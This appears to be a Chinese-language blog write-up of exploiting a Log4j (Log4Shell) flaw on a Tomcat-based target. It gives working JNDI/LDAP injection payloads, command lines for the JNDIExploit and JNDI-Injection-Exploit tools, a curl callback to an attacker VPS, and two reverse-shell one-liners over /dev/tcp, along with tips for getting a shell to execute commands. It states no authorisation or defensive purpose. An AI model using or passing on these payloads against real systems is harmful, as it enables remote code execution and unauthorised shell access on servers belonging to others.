水一篇文章,搞了一会才搞出来的一个log4j
0x01:发现漏洞
利用插件扫除的log4j,推荐f神的插件,好用又稳定
https://github.com/f0ng/log4j2burpscanner
0x02:漏洞利用
尝试外带,若能外带成功,可以看看java的版本
${jndi:dns://${hostName}..ceye.io/test}
ceye没有收到请求,于是尝试直接去执行命令或者shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar构造一个ldap环境
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A vps -C “curl vps:port”
发送payload
ldap收到了请求
执行命令没有成功
0x03:更换jdk版本
恰巧之前碰到过这种情况,按照之前的笔记,使用JNDIExploit-1.2-SNAPSHOT.jar
指定jdk版本运行,首先可以列出可利用的Gaddget
/usr/local/jdk-11.0.13/bin/java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
使用/Deserialization/CommonsBeanutils1/ReverseShell/,发现和上面情况一样,ldap有请求但是收不到命令,也试了s2,k1之类的
后面知道了组件是tomcat,再次更换Gaddget
/TomcatBypass/ReverseShell/
${jndi:ldap://vps:1389/TomcatBypass/ReverseShell/vps/9011}
发现服务器成功收到了shell
但是无法执行命令,发现有个报错
bash: no job control in this shell
搜索了一下
https://blog.csdn.net/luminous_you/article/details/109322180
想是不是工具的Gaddget有问题
再去更换一个Gaddget,自己写命令
ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
把bash -i >& /dev/tcp/[ip]/5555 0>&1进行编码,发送payload
+号被替换成了空格,导致无法利用成功,将+号换成2b%也可以
0x04:更换反弹shell命令
这里我直接换了个语句
exec 5<>/dev/tcp/[ip]/port;cat <&5|while read line;do $line >&5 2>&1;done
把这个编码一下
没有空格
发送 payload:
${jndi:ldap://xxxx:1389/TomcatBypass/Command/Base64/xxxx}
ldap收到请求
查看监听端口,成功执行命令
后记
还翻了一下这个工具的源码,还真没加0>&1